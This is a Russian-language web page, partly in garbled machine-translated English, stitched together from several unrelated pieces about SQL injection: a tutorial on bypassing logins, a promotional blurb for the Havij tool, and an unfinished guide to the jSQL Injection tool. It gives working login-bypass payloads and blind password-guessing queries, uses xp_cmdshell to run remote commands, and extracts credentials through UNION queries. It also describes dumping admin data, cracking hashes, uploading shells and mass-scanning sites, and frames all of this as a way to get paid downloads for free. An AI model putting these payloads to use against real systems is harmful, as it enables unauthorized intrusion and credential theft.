Инструкция по использованию jSQL Injection — многофункционального инструмента поиска и эксплуатации SQL-инъекций в Kali Linux. SQL Injection от и до Sql инъекции

SQL Injection достаточно хорошая возможность для хакера получить
доступ к серверу. И при небольшом усилии, он
все-таки его получает 🙂

Coder inside

В наше время работа с базами данных поддерживается
практически всеми языками программирования, к таким можно отнести BASIC, C++, Java, PERL, PHP, Assembler и даже JavaScript! А называются эти программы никак иначе как СУБД - системы управления базами данных. Зачастую базы данных применяются для решения финансовых задач,
бухгалтерии, организации кадров, но свое применение они нашли и в Интернете.

Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего
количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Именно тут и начинается самое интересное. Когда на сервере
установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам...

SQL Injection

Для пояснения атаки представим себе, что ты зашел на сайт чтобы скачать одну очень важную тулзу и с ужасом замечаешь, что сделать это может только зарегистрированный пользователь, а регистрация, конечно же, стоит денег 🙂 Последние заработанные отдавать не хочется, а без программы никак! Самое время вспомнить о том как
обращаться к базам данных SQL . Например, проверка логина и пароля, на PHP может иметь следующий вид:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

Я добавил два комментария, "AUTHENTICATION OK " - вместо него должен
идти код, который исполнится в том случае, если пароль и логин верны. Другой "AUTHENTICATION ERROR " - место где будет описан код, исполняющийся в случае их неправильности. Если заполнить форму, то запрос получится похожим на "http://www.server.com?login=user&password=31337", где www.server.com имя
сервера, к которому мы пытаемся подключиться. Мы нашли то что искали, а по сему снова вернемся к работе SQL . Итак, если вы для авторизации должны указать логин и пароль, то сформированный SQL запрос будет иметь следующий вид:

SELECT * FROM users WHERE login="user" AND
password="31337"

Это значит примерно следующее: верни мне все записи из базы данных users у которых логин "user", а пароль "31337". Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет... Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать "31337" AND email="[email protected]"(без двойных кавычек), то запрос получится уже немного другим:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email="[email protected]"

И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции "и" существует и "или", а поскольку их использование поддерживается SQL, можно выше
описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать "user" OR 1=1--", в таком случае запрос примет вид:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
password="31337"

Для начала следует знать, что "--" означает конец запроса, и все после "--"
обрабатываться не будет! Получается, словно мы сделали запрос:

SELECT * FROM users WHERE login="user" OR 1=1

Как вы видите мы добавили условие "1=1", значит критерием проверки будет "если логин "user" или 1=1", но ведь 1 всегда равно 1 (исключением может быть только арифметика Дани Шеповалова:)). Чтобы проверить наши подозрения
забиваем в адресной строке "http://www.server.com?login=user or 1=1--&password=31337". Это приводит к тому, что не играет роли какой именно логин мы указали, а
тем более пароль! И мы в матри... ой, в системе и можем спокойно качать то что нам необходимо.

Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать "user" OR 1=1--" для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как "". Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг "FORM") для параметра "ACTION" указать полный путь к скрипту, что обрабатывает данный запрос.

Но не всегда также известно как сформирован запрос,
прошлый пример можно было сформировать и следующими способами:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337

В таком случае можно попробовать следующие варианты:

" OR 1=1--
" OR 1=1--
OR 1=1--
" OR "a"="a
" OR "a"="a
") OR ("a"="a
OR "1"="1"

Все зависит от предназначения скрипта, и от программиста. Поскольку каждому человеку свойственно все делать по своему, то вполне возможно, что программист выберет не самый простой вариант. Поэтому не следует сразу
сдаваться, если вы получите отказ. Необходимо
испробовать как можно большее количество вариантов...

Password detection

Обходить авторизацию неплохо, но очень часто дырка которую вы используете закрывается, и все что было для вас доступно теряется.
Этого и следовало ожидать, если программист не дурак он
со временем прикроет все лазейки. От таких ситуаций можно легко избавится заранее позаботившись об этом. Правильным решением может стать угадывание пароля посредством
анализа результатов аутентификации. Для начала пробуем угадать пароль, для этого введем место него:

" OR password>"a

Если нам ответят, что авторизация пройдена, значит пароль
начинается не на букву "а", а на какую-то из следующих по списку. Двигаемся дальше и подставляем
место "a", следующие "b", "c", "d", "e"... и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе "x", в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:

" OR password="x

и если пароль принят и тебя впустили, значит ты угадал пароль! Ну а нет, тогда следует подбирать уже второй символ,
точно так же, с начала. Для двух символов проверять
нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем 🙂
В случае, если найденные пароль и логин тебя не устраивают, можешь отыскать и другие. Для этого необходимо начать проверку с последнего символа найденного пароля. Так, если пароль был "xxx" проверять необходимо существование пароля
"xxy":

" OR password="xxx

чтобы не упустить не один вариант!

MS SQL Server

MS SQL Server вообще находка, если упущена необходимая фильтрация. Используя уязвимость SQL Injection можно исполнять
команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию
необходимо завершить операцию "SELECT". В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet"у, необходимо место пароля/логина набрать:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их
анализа можно узнать название таблицы, полей и их типов. После чего можно запросом

" UNION SELECT TOP 1 login FROM users--

(login имя поля содержащего логин, а users - имя таблицы,
полуученые в процессе анализа ошибок).

Ответ может быть следующим:

Syntax error converting the nvarchar value "admin" to a column of data type int.
/default.asp, line 27

Теперь мы знаем, что есть пользователь с именем "admin". Теперь мы можем получить его пароль:

" UNION SELECT TOP 1 password FROM users where login="admin"--

Результат:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "xxx" to a column of data type int.
/tedault.asp, line 27

Теперь нам известно, что есть пользователь "admin" с паролем "xxx". Этим можно смело
воспользоваться и залогинится в систему 😉

Но для работы с SQL существует еще много других функций,
при работе с базой данных можно также удалять данные, модифицировать, вставлять свои и даже манипулировать файлами и работать с реестром.
В общем, SQL Server - рулит 🙂

Защита

Но этого всего естественно можно избежать. Для этого можно
воспользоваться фильтрами,
предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные
кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести
электронный адрес. А еще в перле есть удивительная
функция 🙂 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL . Решений много, необходимо просто ими
воспользоваться. Иначе зачем тогда все это...

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.

It’s a completely automated SQL Injection tool and it is dispersed by ITSecTeam, an Iranian security organization. The name Havij signifies “carrot”, which is the apparatus’ symbol.

The tool is outlined with an easy to understand GUI that makes it simple for an administrator to recover the coveted information. Such usability might be the purpose for the progress from attacks conveyed by code-writing hackers to those by non-specialized users.

Also Read

Havij was launched amid 2010, and since it’s release a few other programmed SQL Injection devices, (for example, sqlmap) were presented. Be that as it may, Havij is as yet dynamic and normally utilized by both penetration testers and low-level hackers.

Havij SQL Injection Software Features

It can exploit a vulnerable web application. By utilizing this product client can perform back-end database unique mark, recover DBMS clients and secret key hashes, dump tables and segments, bringing information from the database, running SQL proclamations and notwithstanding getting to the hidden record framework and executing charges on the working framework.

Complete HTTPS support
Various updates are available
Added MS SQL blind
Blind MSAccess (in commercial version only)
PostgreSQL
Easily accessible user manual
Additional dumping data file feature
XML format comes with the tool for data storage
User can remove the log
The default settings can be changed at any time
Repair methods are available to cover up the weaknesses of the website
Keyword testing is also available
Error fixing feature

Havij v1.12 Free Edition Download

The intensity of Havij that makes it not quite the same as comparable apparatuses is its injection techniques. The achievement rate is over 95% at injection vulnerable targets utilizing it.

The easy to understand GUI (Graphical User Interface) of Havij and automated settings and detections makes it simple to use for everybody even beginner clients.

Запустите скаченный файл двойным кликом (нужно иметь виртуальную машину ).

3. Анонимность при проверке сайта на SQL-инъекции

Настройка Tor и Privoxy в Kali Linux

[Раздел в разработке]

Настройка Tor и Privoxy в Windows

[Раздел в разработке]

Настройки работы через прокси в jSQL Injection

[Раздел в разработке]

4. Проверка сайта на SQL-инъекции с jSQL Injection

Работа с программой крайне проста. Достаточно ввести адрес сайта и нажать ENTER.

На следующем скриншоте видно, что сайт уязвим сразу к трём видам SQL-инъекций (информация о них указана в правом нижнем углу). Кликая на названия инъекций можно переключить используемый метод:

Также нам уже выведены имеющиеся базы данных.

Можно посмотреть содержимое каждой таблицы:

Обычно, самым интересным в таблицах являются учётные данные администратора.

Если вам повезло и вы нашли данные администратора — то радоваться рано. Нужно ещё найти админку, куда эти данные вводить.

5. Поиск админок с jSQL Injection

Для этого переходите на следующую вкладку. Здесь нас встречает список возможных адресов. Можете выбрать одну или несколько страниц для проверки:

Удобство заключается в том, что не нужно использовать другие программы.

К сожалению, нерадивых программистов, которые хранят пароли в открытом виде, не очень много. Довольно часто в строке пароля мы видим что-нибудь вроде

8743b52063cd84097a65d1633f5c74f5

Это хеш. Расшифровать его можно брутфорсом. И… jSQL Injection имеет встроенный брутфорсер.

6. Брутфорсинг хешей с помощью jSQL Injection

Несомненным удобство является то, что не нужно искать другие программы. Здесь имеется поддержка множества самых популярных хешей.

Это не самый оптимальный вариант. Для того, чтобы стать гуру в расшифровке хешей, рекомендуется Книга « » на русском языке.

Но, конечно, когда под рукой нет другой программы или нет времени на изучение, jSQL Injection со встроенной функцией брут-форса придётся очень кстати.

Присутствуют настройки: можно задать какие символы входят в пароль, диапазон длины пароля.

7. Операции с файлами после обнаружения SQL-инъекций

Кроме операций с базами данных — их чтение и модификация, в случае обнаружения SQL-инъекций возможно выполнение следующих файловых операций:

чтение файлов на сервере
выгрузка новых файлов на сервер
выгрузка шеллов на сервер

И всё это реализовано в jSQL Injection!

Есть ограничения — у SQL-сервера должны быть файловые привилегии. У разумных системных администраторов они отключены и доступа к файловой системе получить не удастся.

Наличие файловых привилегий достаточно просто проверить. Перейдите в одну из вкладок (чтение файлов, создание шелла, закачка нового файла) и попытайтесь выполнить одну из указанных операций.

Ещё очень важное замечание — нам нужно знать точный абсолютный путь до файла с которым мы будем работать — иначе ничего не получится.

Посмотрите на следующий скриншот:

На любую попытку операции с файлом нам отвечают: No FILE privilege (нет файловых привелегий). И ничего здесь поделать нельзя.

Если вместо этого у вас другая ошибка:

Problem writing into [название_каталога]

Это означает, что вы неправильно указали абсолютный путь, в который нужно записывать файл.

Для того, чтобы предположить абсолютный путь, нужно, как минимум, знать операционную систему на которой работает сервер. Для этого переключитесь к вкладке Network.

Такая запись (строка Win64 ) даёт основание нам предположить, что мы имеем дело с ОС Windows:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Connection: Keep-Alive Method: HTTP/1.1 200 OK Content-Length: 353 Date: Fri, 11 Dec 2015 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; charset=UTF-8

Здесь у нас какой-то из Unix (*BSD, Linux):

Transfer-Encoding: chunked Date: Fri, 11 Dec 2015 11:57:02 GMT Method: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Connection: keep-alive Content-Type: text/html X-Powered-By: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

А здесь у нас CentOS:

Method: HTTP/1.1 200 OK Expires: Thu, 19 Nov 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Connection: keep-alive X-Cache-Lookup: MISS from t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS from t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Date: Fri, 11 Dec 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

В Windows типичной папкой для сайтов является C:\Server\data\htdocs\ . Но, на самом деле, если кто-то «додумался» делать сервер на Windows, то, весьма вероятно, этот человек ничего не слышал о привилегиях. Поэтому начинать попытки стоит прямо с каталога C:/Windows/:

Как видим, всё прошло прекрасно с первого раза.

Но вот сами шеллы jSQL Injection у меня вызывают сомнения. Если есть файловые привилегии, то вы вполне можете закачать что-нибудь с веб-интерфейсом.

8. Массовая проверка сайтов на SQL-инъекции

И даже эта функция есть у jSQL Injection. Всё предельно просто — загружаете список сайтов (можно импортировать из файла), выбираете те, которые хотите проверить и нажимаете соответствующую кнопку для начала операции.

Вывод по jSQL Injection

jSQL Injection хороший, мощный инструмент для поиска и последующего использования найденных на сайтах SQL-инъекций. Его несомненные плюсы: простота использования, встроенные сопутствующие функции. jSQL Injection может стать лучшим другом новичка при анализе веб-сайтов.

Из недостатков я бы отметил невозможность редактирования баз данных (по крайней мере я этого функционала не нашёл). Как и у всех инструментов с графическим интерфейсом, к недостаткам этой программы можно приписать невозможность использования в скриптах. Тем не менее некоторая автоматизация возможна и в этой программе — благодаря встроенной функции массовой проверки сайтов.

Программой jSQL Injection пользоваться значительно удобнее чем sqlmap . Но sqlmap поддерживает больше видов SQL-инъекций, имеет опции для работы с файловыми файерволами и некоторые другие функции.

Итог: jSQL Injection — лучший друг начинающего хакера.

Справку по данной программе в Энциклопедии Kali Linux вы найдёте на этой странице: http://kali.tools/?p=706